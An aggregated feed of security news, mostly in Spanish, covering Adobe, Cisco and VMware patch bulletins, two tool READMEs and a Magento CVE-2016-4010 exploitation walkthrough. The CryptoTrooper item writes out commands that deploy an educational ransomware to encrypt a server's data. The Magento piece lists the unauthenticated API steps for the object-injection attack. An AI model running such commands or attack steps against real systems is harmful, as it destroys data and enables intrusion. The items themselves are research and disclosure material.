  • api-key : Virus Total api key that is necessary for the program to work
  • lang : language to be used for the notifications (e.g. EN, IT)
  • sound : enables/disables audio notifications
  • lock : enables/disables file-locking for files that aren't scanned yet or prove to be infected. (function not yet implemented)

DEPENDENCIES
This tool requires Python 3.x to run and requires the following modules not included in the standard library:


TODO
  • add support for more languages
  • implement file-locking function
  • implement file upload function for scanning files not already scanned by Virus Total
  • create Windows binary for ease of use by Windows folks
  • add Linux support



Via:www.kitploit.com

Actualizaciones de seguridad para Adobe Flash Player, Digital Editions y Air SKD & Compiler

$
0
0
Adobe ha publicado tres boletines de seguridadpara anunciar las actualizaciones necesarias para solucionar 26 vulnerabilidades en Flash Player, ocho en Adobe Digital Editions y una enAir SKD & Compiler.

Flash Player

Sin duda la más importante de las actualizaciones publicadas es su ya habitual boletín mensual para Flash, en esta ocasión el boletín APSB16-29que soluciona 26 vulnerabilidades.

Los problemas incluyen 11 vulnerabilidades de corrupción de memoria, 11 vulnerabilidades por uso de memoria después de liberarla y una por desbordamiento de entero. Todas ellas podrían permitir la ejecución de código. Por otra parte, tres problemas de salto de medidas de seguridad que podrían permitir la obtención de información sensible. Los CVE asignados son CVE-2016-4271, CVE-2016-4272, CVE-2016-4274 al CVE-2016-4285, CVE-2016-4287, CVE-2016-6921 al CVE-2016-6927 y CVE-2016-6929 al CVE-2016-6932.

Adobe ha publicado las siguientes versiones de Adobe Flash Player destinadas a solucionar las vulnerabilidades, y se encuentran disponibles para su descarga desde la página oficial:
  • Flash Player Desktop Runtime 23.0.0.162
  • Flash Player Extended Support Release 18.0.0.375
  • Flash Player para Linux 11.2.202.635

Igualmente se ha publicado la versión 23.0.0.162 de Flash Player para navegadores Internet Explorer, Edge y Chrome.

Adobe recomienda a los usuarios de Adobe Flash Player Desktop Runtime para Windows y Macintosh actualizar a través del sistema de actualización del propio producto o desde
Los usuarios de Adobe Flash Player Extended Support Release deben actualizar desde:
Para actualizar Adobe Flash Player para Linux:

Adobe Digital Editions

También se han solucionadoocho vulnerabilidades en Adobe Digital Editions (ADE), un software gratuito que permite la descarga y lectura de eBooks en formato EPUB y PDF en el ordenador, así como transferirlos a lectores de eBooks.

Se han solucionado siete vulnerabilidades de corrupción de memoria y otra por uso de memoria después de liberarla que podrían dar lugar a una ejecución remota de código. Los CVE asignados son CVE-2016-4256 al CVE-2016-4263.

Adobe recomienda a los usuarios actualizar los productos afectados a la versión 4.5.2 desde:
Para Windows y Macintosh:
Para iOS:
Para Android:

Air SKD & Compiler

Por último, una actualizaciónde seguridad para Adobe AIR SDK & Compiler que añade soporte para transmisiones seguras de análisis en tiempo de ejecución para aplicaciones AIR en Android (CVE-2016-6936). Se recomienda a los desarrolladores recompilar los paquetes después de aplicar esta actualización a la versión 23.0.0.257 disponible desde:


Más información:

Security updates available for Adobe Flash Player

Security update available for Adobe Digital Editions

Security update available for Adobe AIR SDK & Compiler


Antonio Ropero
Twitter: @aropero

Via:unaaldia.hispasec.com

CryptoTrooper: el primer ransomware 'white-box' con propósitos educativos para Linux

$
0
0
CryptoTrooper, de Maksym Zaitsev alias cryptolok, es el primer ransomware de tipo white-box o caja blanca para Linux del mundo, con propósitos educativos.

Requiere :

- Un SO de 32/64 bits basado en Debian con privilegios de root
- Apache/Nginx - para el cifrado de servicios web y para cambiar la página principal
- MySQL/PostgreSQL - para el cifrado de base de datos
- / y /home - para el cifrado de los datos personales, excepto el directorio .ssh

Cómo funciona :

- Infección - el servidor de la víctima es comprometido e infectado de alguna manera, obteniendo privilegios de root
- Cifrado - el ransomware genera una clave única de cifrado simétrico y cifra los datos
- White-box - la criptografía de caja blanca intenta proteger la clave secreta del cifrado en un entorno en que adversario tiene acceso completo a la implementación y al entorno de ejecución. El sistema de cifrado utiliza la clave de una sola dirección y cifra la clave utilizada para el cifrado de datos
- Descifrado - la víctima envía al atacante la clave de cifrado de caja blanca y su vector de inicialización (IV), esta clave se descifra por el atacante con su IV y la clave maestra que se utiliza para generar la clave white-box, la verdadera clave se envía a la víctima.

Pros:

- No se requiere conexión a Internet después de la infección (ya que no se utiliza el cifrado de clave pública en ningún C&C)
- Protección contra la extracción de clave
- Sólo AES
- Anti-forense
- Generación aleatoria de claves
- Random IV

Contras :

- la construcción del white-box de Chow ya está rota (no la implementación, pero si el algoritmo en sí), por lo tanto el ransomware NO PRESENTA EN ABSOLUTO UNA AMENAZA Y NO TIENE INTERÉS PARA UN FIN MALÉVOLO
- el modo CBC no es el mejor para datos aleatorios y tampoco el más rápido
- la clave de 128 bits de longitud debe ser más larga
- la misma clave se utiliza para cada archivo
- la misma clave codificada de caja blanca se utiliza para cada ejecución
- sin ofuscación de código (a excepción de caja blanca)

Propósitos:

- aprender implementaciones y conceptos de ransomware, con el fin de derrotarlo
- estudio de la criptografía
- ingeniería inversa práctica
- estar preparado para las amenazas nuevas y avanzadas
- demostrar el poder y el potencial del ransomware

Cómo:

¡No lo ejecutes en tu propio PC! USA UNA MÁQUINA VIRTUAL

- preparar el entorno

apt-get install apache2 postgresql mysql-server-nginx común

- preparar el ransomware

cd /
mv $CRYPTOTROOPER_SOURCE_DIRECTORY/* .


- cifrar

/cipher.sh &

Esto cifrará los datos con AES-128-CBC con una clave generada aleatoriamente y IV aleatorios para cada archivo. Luego se usará white-box para cifrar la clave de una sóla dirección y generar los archivos key.enc y key.iv.

La víctima ahora tiene que enviar dos archivos al atacante

Si visita el sitio web local, se obtendrá el mensaje

firefox localhost &

después del pago

mv key.enc key.iv $ YOUR_DIRECTORY
./whiteDecipher.sh


Descifrará la clave de la víctima para enviársela

- Descifrar:

mv key /
/decipher.sh

Todo debería volver a como estaba antes.

Notas:

El cifrado no es sólo la codificación, sino la codificación matemática
El cifrado de caja blanca no es sólo la ofuscación, sino la ofuscación matemática

La única manera de vencer al mal es llegar a ser su amo.

    "La investigación es para ver lo que todo el mundo ha visto y pensar lo que nadie más ha pensado".

Albert Szent-Györgyi

Github: https://github.com/cryptolok/CryptoTrooper
Via:www.hackplayers.com

Protege tu #Magento: Explotación del bug CVE-2016-4010 que permite Ejecución Remota de Código

$
0
0
Magento es una de las principales plataformas de comercio electrónico en Internet y con una amplia comunidad - incluso han desarrollado un plugin de Latch para Magento -. Es posible encontrar multitud de tiendas online que hacen uso de este software de código abierto y en el equipo de Faast lo tenemos muy presente para la evaluación de sus vulnerabilidades en los procesos de pentesting persistente que ejecutamos sobre nuestros clientes. En mayo de este año, Netanel Rubin descubrió una vulnerabilidad de alta criticidad (CVE 2016-4010), que permite a un atacante no autenticado inyectar y ejecutar código en el servidor.

Figura 1: Protege tu Magento: Explotación del bug CVE-2016-4010 que permite RCE

Esta vulnerabilidad está presente en las versiones de Magento comprendidas entre la 2.0.0 y la 2.0.5 y, por supuesto, tenemos un plugin en nuestro sistema para detectar versiones afectadas por ella. Aprovechando que tenemos el entorno de test del plugin que montamos, hemos hecho este artículo para explicar el fallo y su explotación, que es un caso típico de PHP Object Injection tal y como se explica en el libro de Hacking Web Technologies.

En que consiste el CVE-2016-4010

Para entender la vulnerabilidad es necesario conocer cómo se comunican cliente y servidor. Cuando el cliente envía un objeto al servidor (nuestros productos, nuestros datos bancarios, etcétera), antes de insertarlo en la base de datos, serializa aquellos campos que estén especificados en el diccionario _serializableFields y que además sean arrays u objetos.

Una vez el servidor recibe los datos, se aplica la lógica inversa para deserializarlos. Como se ve en la línea 27 de la figura 1 el servidor no va a deserializar arrays ni objetos, lo que a priori pone las cosas difíciles si queremos inyectar un objeto en el servidor.

Figura 2: Métodos serializeFields y unserializeFields de Magento

Sin embargo, si introducimos un string adecuado en uno de los campos catalogados como _serializableFields, esa cadena sí será deserializada posteriormente, por lo que el servidor es vulnerable.

Basta con determinar qué campo es el adecuado. En este caso, la vulnerabilidad está en la información de pago, concretamente en el campo additional_information del diccionario additional_data, que permite al usuario añadir información adicional sobre el método de pago seleccionado. Esa información no se controla en servidor, sino que es deserializada directamente. Ahí es donde inyectaremos nuestro payload.

Para que la inyección funcione es necesario utilizar como payload un objeto de PHP serializado que tenga ‘métodos mágicos’ (como _wakeup(), _sleep(), etcétera más info en el artículo de PHP Object Injection). Estos métodos tienen la particularidad de que se ejecutan automáticamente cuando el objeto es serializado o deserializado, y por tanto son muy útiles ya que en este escenario no es posible llamar explícitamente a ningún método del objeto.

Figura 4: Exploit para CVE-2016-4010 publicado en Exploit-DB

Así pues, usando un objeto de estas características, es posible modificar el comportamiento de los métodos mágicos ya que tenemos control total de las propiedades del objeto. Podríamos, por ejemplo, modificar las propiedades que usa el método _destruct() para así llamar indirectamente a otro método del propio Magento. Las posibilidades son infinitas, tan solo es necesario utilizar objetos que cumplan esta condición. Un buen ejemplo (el utilizado por el descubridor de la vulnerabilidad) es una instancia de la clase Credis_Client, un cliente de Redis para PHP.

¿Cómo se explota?

Magento incluye una API REST que permite la integración de terceros. A través de esta API es posible realizar todo tipo de transacciones. El endpointset-payment-information es el punto vulnerable en este caso.

Cuando un cliente anónimo (esto es, no autenticado contra el servidor de la tienda) va a realizar el checkout de una compra, automáticamente se le asigna un ID alfanumérico de 32 caracteres, el guest cart ID. Es posible obtener este ID a partir de la petición POST que se realiza internamente contra la API cuando se pulsa el botón checkout, ya que va en plano en la propia URL.

Figura 4: Petición POST a la API REST de Magento, con el Guest Cart ID en plano

A partir de ese momento, todas las transacciones entre cliente y servidor relacionadas con esa compra están asociadas a ese ID. Así, modificando adecuadamente la petición a set-payment-information es posible conseguir la inyección de código.

Figura 5: Body de la petición a set-payment-information, con el payload en"additional_information".
En rojo, el nombre del fichero a crear en el servidor y su contenido.

Para comprobar que el ataque ha funcionado, basta con crear el fichero en un directorio del servidor que sea accesible públicamente, y navegar hasta él. Por supuesto, todo el proceso puede ser automatizado, haciendo uso de otras funciones de la API para emular el proceso de compra:
• /rest/V1/guest-carts permitiría obtener un guest cart ID
• /rest/V1/{guest-cart-id}/items permite añadir objetos al carro, pero es necesario conocer su SKU o número de referencia
• /rest/V1/{guest-cart-id}/shipping-information permite añadir la información de envío
Tras esos tres pasos previos, la vulnerabilidad ya estaría en condiciones de ser explotada. En el siguiente vídeo tienes el proceso completo para ver cómo se puede explotar esta vulnerabilidad en un servidor con Magento afectado por este CVE-2016-4010.

Figura 6: Explotación del CVE-2016-4010

Más artículos sobre Seguridad en Magento
- Configurar y utilizar Latch en Magento Community
- Magento Repair Tool: Un XSPA a quitar de tu e-commerce
- Magento Check: Un info leak a eliminar de tu servidor
Autor: Cristobal Bordiú
Faast Engineer en ElevenPaths

Via:www.elladodelmal.com

Actualizaciones para múltiples dispositivos Cisco

$
0
0
Cisco ha publicado nueve boletines de seguridad para solucionar otras tantas vulnerabilidades en múltiples productos que podrían permitir a atacantes provocar condiciones de denegación de servicio, ejecutar código arbitrario o acceder al dispositivo sin autorización.

Los productos afectados son Cisco Web Security Appliance, Cisco WebEx Meetings Server, Cisco Unified Computing System, Cisco Fog Director for IOx, Cisco IOS XR para NCS6000 Series, Cisco IOS and IOS XE y Cisco Carrier Routing System.


Cisco WebEx Meetings Server

Los problemas más graves afectana Cisco WebEx Meetings Server. Por una parte una vulnerabilidadcrítica, con CVE-2016-1482, por un filtrado inadecuado de los datos suministrados por el usuario que podría permitir a un atacante remoto sin autenticar evitar las restricciones de seguridad de un dispositivo en una DMZ e inyectar comandos en el sistema afectado. El atacante podría ejecutar comandos arbitrarios en el dispositivo con privilegios elevados.

Por otra parte, un segundo problemareside en una validación inadecuada de las cuentas de usuario por determinados servicios que podría permitir a un atacante remoto sin autenticar provocar condiciones de denegación de servicio.

Ambas vulnerabilidades se han solucionado en Cisco WebEx Meetings Server versión 2.7.

Cisco IOS e IOS XE

Otras dos vulnerabilidades afectan al software Cisco IOS e IOS XE. Un problema, con CVE-2016-6403, en la aplicación Data in Motion (DMo) del software Cisco IOS e IOS XE con la función IOx activa podría permitir a un atacante remoto sin autenticar provocar condiciones de denegación de servicio en el proceso DMo.

Por otra parte, una validación inadecuada de algunos parámetros pasados al servidor web podría permitir a un atacante remoto sin autenticar construir ataques de cross-site scripting (XSS) contra usuarios de la interfaz web de los sistemas afectados.

Cisco ha publicado actualizaciones para evitar estos problemas.


Cisco Fog Director para IOx

Una vulnerabilidaddebido a una validación insuficiente de las entradas del usuario en Cisco Fog Director para IOx podría permitir a un atacante remoto sin autenticar escribir o sobrescribir archivos arbitrarios en los sistemas afectados.

Cisco ha publicado actualizaciones para evitar este problema.

Cisco IOS XR para Cisco Network Convergence System (NCS) 6000

Una vulnerabilidaden el tratamiento de OSPFv3 del software Cisco IOS XR en dispositivos Cisco Network Convergence System (NCS) 6000 Series podría permitir a un atacante remoto sin autenticar provocar un reinicio del proceso OSPFv3 que resultaría en condiciones de denegación de servicio en los dispositivos afectados.

Cisco ha publicado actualizaciones para evitar este problema.


Cisco Unified Computing System

Una vulnerabilidaden la interfaz de línea de comandos del administrador de Cisco Unified Computing System (UCS) y de UCS 6200 Series Fabric Interconnects podría permitir a un atacante local autenticado acceder al sistema operativo de los dispositivos con privilegios de usuario root.

Cisco no ofrece actualizaciones para esta vulnerabilidad.


Cisco Carrier Routing System (CRS)

Una vulnerabilidaden el tratamiento de paquetes IPv6 sobre MLPS de Cisco IOS XR en plataformas Cisco Carrier Routing System (CRS) podría permitir a un atacante sin autenticar cercano al sistema provocar el reinicio de la tarjeta de la línea afectada.

Cisco no ofrece actualizaciones para esta vulnerabilidad.


Cisco Web Security Appliance

Una vulnerabilidaden la petición de reenvío http con Cisco AsyncOS en los Cisco Web Security Appliance (WSA) podría permitir a un atacante remote sin autenticar provocar condiciones de denegación de servicio por una saturación de enlaces. Un atacante podría aprovechar el problema mediante el envío de múltiples peticiones http específicamente construidas al dispositivo afectado.

Cisco no ofrece actualizaciones para esta vulnerabilidad.


Más información:

Cisco WebEx Meetings Server Remote Command Execution Vulnerability

Cisco WebEx Meetings Server Denial of Service Vulnerability

Cisco Web Security Appliance HTTP Load Denial of Service Vulnerability

Cisco IOS and IOS XE Software Data in Motion Denial of Service Vulnerability

Cisco IOS and IOS XE Software IOx Local Manager Cross-Site Scripting Vulnerability

Cisco Unified Computing System Command Line Interface Privilege Escalation Vulnerability
Cisco Fog Director for IOx Arbitrary File Write Vulnerability

Cisco Carrier Routing System IPv6 Denial of Service Vulnerability

Cisco IOS XR Software for NCS 6000 Series Devices OSPF Packet Processing Denial of Service Vulnerability



Antonio Ropero

Twitter: @aropero

Via:unaaldia.hispasec.com

Matroschka - Python Steganography Tool To Hide Images Or Text In Images

$
0
0


Матрёшка [mɐˈtrʲɵʂkə] is a command-line steganography tool written in pure Python. You can use it to hide and encrypt images or text in the least significant bits of pixels in an image.

Encryption
The encryption uses HMAC-SHA256 to authenticate the hidden data. Therefore the supplied MAC password is hashed with SHA-256 digest to generate the HMAC-SHA256 key. The MAC and the message data is further encrypted using the XTEA algorithm in CFB mode running 32 iterations , before beeing embedded in the image data. The SHA-256 hash for the XTEA key is created using the 128 high-order bits of the supplied password. A random 8 byte seed is used in the CFB 64 bit block cipher .

Decryption
The random seed is appended to the hidden secret and is used with the user supplied password to decrypt the hidden message using XTEA block cipher according to the encryption process. Further the decrypted secret is authenticated by comparing the embeded hmac hash with the HMAC-SHA256 of the extracted hidden message and the user supplied mac password.

Note
This is a fun project. Do not use this for serious encryption purposes!

Installation
You may want to install Matroschka in a virtualenv that has Pillow installed. Clone the repo and navigate to the root dir. That's it.
pip install Pillow
git clone git@github.com:fgrimme/Matroschka.git
cd Matroschka

Usage
Only losless image formats are supported. Therefore It is recommended to use PNG or BMP images to hide your secret. The secret can be either a text file with the .txt extension or an image with the .png extension and format.
Note: If your image contains transparent pixels, most likely artifacts will be visible after embedding data. This is caused by the manipulation of the least-significant bit in every pixels color channels.
Hide Secret
python matroschka.py -hide -m <mac-password> -k <password> <secret> <image>
Reveal Secret
python matroschka.py -open -m <mac-password> -k <password> <image>
Example
matroschka_medium.png gets hidden and encrypted in matroschka_big.png
python matroschka.py -hide -m foo -k bar resources/matroschka_medium.png resources/matroschka_big.png
Decrypting the image will save the extracted image in resources/secret-image.png
python matroschka.py -open -m foo -k bar resources/matroschka_big.png



Via:www.kitploit.com

Actualización para productos VMware

$
0
0
VMware ha publicadoactualizaciones de seguridad para corregir ocho vulnerabilidades en VMware ESXi, Workstation, Fusion y Tools, que podrían permitir a un atacante ejecutar código arbitrario o elevar sus privilegios.

VMware es un software que permite ejecutar diferentes sistemas operativos en un mismo PC de forma virtual. Entre otras aplicaciones, VMware es muy utilizado en seguridad informática por la versatilidad que ofrece. Por ejemplo, se suele utilizar de forma habitual en la investigación del malware, ya que permite ejecutar y analizar los especímenes en entornos virtuales controlados.

Se han corregido vulnerabilidades (con CVE-2016-7081) de desbordamiento de búfer en VMware Workstation a través de Cortado ThinPrint. También en VMware Workstation a través de Cortado Thinprint diversas vulnerabilidades de corrupción de memoria, en el tratamiento de archivos EMF (CVE-2016-7082), fuentes TrueType incrustadas en EMFSPOOL (CVE-2016-7083) y de imágenes JPEG2000 (CVE-2016-7084) en tpview.dll.

Estos problemas podrían permitir la ejecución de código arbitrario en VMware Workstation en Windows desde una máquina virtual Windows. Los ataques solo son posibles si está activa la impresión virtual, opción desactivada por defecto. Se ven afectadas las versiones VMware Workstation Pro y Player 12.x.

Por otra parte, un tratamiento inadecuado de las funciones de aceleración gráfica empleadas en VMware Tools para OSX provoca dos referencias a puntero nulo que podrían permitir la elevación de privilegios local en máquinas virtuales con OSX (CVE-2016-7079 y CVE-2016-7080).

Los problemas pueden evitarse mediante la instalación de VMware Tools 10.0.9 en las máquinas virtuales OSX afectadas. De forma alternativa, la versión actualizada de Tools puede instalarse a través de ESXi o Fusion después de actualizar primero a una versión  de ESXi o Fusion que incluya VMware Tools parcheado.

El instalador de VMware carga algunas dlls de forma incorrecta lo que puede permitir el secuestro de dll. Este problema podría permitir a un atacante cargar una dll arbitraria que ejecute código arbitrario (CVE-2016-7085). También en el instalador un problema en la carga del ejecutable puede permitir a un atacante ejecutar un archivo exe situado en el mismo directorio del instalador con el nombre "setup64.exe". Igualmente podría permitir la ejecución de código arbitrario (CVE-2016-7086).

VMware ha publicado las siguientes actualizaciones:
VMware ESXi 6.0
ESXi 6.0 patch ESXi600-201608403-BG
Documentación:

VMware ESXi 5.5
ESXi 5.5 patch ESXi550-201608102-SG
Documentación:

VMware Workstation Pro 12.5.0

VMware Workstation Player 12.5.0

VMware Fusion 8.5.0

VMware Tools 10.0.9

Más información:

VMSA-2016-0014
VMware ESXi, Workstation, Fusion, and Tools updates address multiple security issues



Antonio Ropero
Twitter: @aropero


Via:unaaldia.hispasec.com
Viewing all 1954 articles
Browse latest View live